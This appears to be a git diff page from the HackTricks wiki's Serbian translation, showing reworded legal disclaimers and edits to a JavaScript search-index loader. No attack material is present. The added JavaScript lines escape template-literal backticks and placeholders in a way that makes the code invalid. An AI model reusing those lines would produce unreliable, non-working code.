> Nadalje, tehnike i saveti opisani u ovoj knjizi pruženi su isključivo u edukativne i informativne svrhe i ne bi trebalo da se koriste za bilo kakve ilegalne ili zlonamerne aktivnosti. Autori i izdavači ne odobravaju niti podržavaju bilo kakve ilegalne ili neetičke aktivnosti, i svako korišćenje informacija sadržanih u ovoj knjizi vrši se na sopstveni rizik i odgovornost korisnika.
|
> Nadalje, tehnike i saveti opisani u ovoj knjizi pruženi su u obrazovne i informativne svrhe i ne bi trebalo da se koriste za bilo koje ilegalne ili zlonamerne aktivnosti. Autori i izdavači ne odobravaju i ne podržavaju bilo kakve ilegalne ili neetičke aktivnosti, i svaka upotreba informacija sadržanih u ovoj knjizi je na sopstveni rizik i diskreciju korisnika.
|
||||||
>
|
>
|
||||||
> Korisnik je isključivo odgovoran za sve radnje preduzete na osnovu informacija sadržanih u ovoj knjizi, i uvek bi trebalo da potraži profesionalni savet i pomoć pri pokušaju primene bilo koje od opisanih tehnika ili saveta.
|
> Korisnik je jedini odgovoran za bilo koje radnje preduzete na osnovu informacija sadržanih u ovoj knjizi i uvek bi trebalo da potraži profesionalni savet i pomoć pri pokušaju implementacije bilo koje od opisanih tehnika ili saveta.
|
||||||
>
|
>
|
||||||
> Korišćenjem ove knjige, korisnik se slaže da oslobodi autore i izdavače od bilo kakve i sve odgovornosti za bilo kakvu štetu, gubitke ili povrede koje mogu proizaći iz korišćenja ove knjige ili bilo kojih informacija sadržanih u njoj.
|
> Korišćenjem ove knjige, korisnik se slaže da oslobodi autore i izdavače od bilo kakve i sve odgovornosti i odgovornosti za eventualne štete, gubitke ili povrede koje mogu proizaći iz korišćenja ove knjige ili bilo kojih informacija u njoj.
|
||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
@ -491,3 +491,4 @@
|
|||||||
handle.addEventListener("touchstart", onStart, { passive: false });
|
handle.addEventListener("touchstart", onStart, { passive: false });
|
||||||
}
|
}
|
||||||
})();
|
})();
|
||||||
|
|
||||||
|
@ -68,11 +68,11 @@
|
|||||||
const mainReleaseBase = 'https://github.com/HackTricks-wiki/hacktricks/releases/download';
|
const mainReleaseBase = 'https://github.com/HackTricks-wiki/hacktricks/releases/download';
|
||||||
const cloudReleaseBase = 'https://github.com/HackTricks-wiki/hacktricks-cloud/releases/download';
|
const cloudReleaseBase = 'https://github.com/HackTricks-wiki/hacktricks-cloud/releases/download';
|
||||||
|
|
||||||
const mainTags = Array.from(new Set([`searchindex-${lang}`, 'searchindex-en', 'searchindex-master']));
|
const mainTags = Array.from(new Set([\`searchindex-\${lang}\`, 'searchindex-en', 'searchindex-master']));
|
||||||
const cloudTags = Array.from(new Set([`searchindex-${lang}`, 'searchindex-en', 'searchindex-master']));
|
const cloudTags = Array.from(new Set([\`searchindex-\${lang}\`, 'searchindex-en', 'searchindex-master']));
|
||||||
|
|
||||||
const MAIN_REMOTE_SOURCES = mainTags.map(tag => `${mainReleaseBase}/${tag}/searchindex.js`);
|
const MAIN_REMOTE_SOURCES = mainTags.map(tag => \`\${mainReleaseBase}/\${tag}/searchindex.js\`);
|
||||||
const CLOUD_REMOTE_SOURCES = cloudTags.map(tag => `${cloudReleaseBase}/${tag}/searchindex.js`);
|
const CLOUD_REMOTE_SOURCES = cloudTags.map(tag => \`\${cloudReleaseBase}/\${tag}/searchindex.js\`);
|
||||||
|
|
||||||
const indices = [];
|
const indices = [];
|
||||||
const main = await loadWithFallback(MAIN_REMOTE_SOURCES , '/searchindex.js', false); if(main) indices.push(main);
|
const main = await loadWithFallback(MAIN_REMOTE_SOURCES , '/searchindex.js', false); if(main) indices.push(main);
|
||||||
@ -208,3 +208,4 @@
|
|||||||
listOut.classList.toggle('hidden',!docs.length);
|
listOut.classList.toggle('hidden',!docs.length);
|
||||||
};
|
};
|
||||||
})();
|
})();
|
||||||
|
|
||||||
|
Loading…
x
Reference in New Issue
Block a user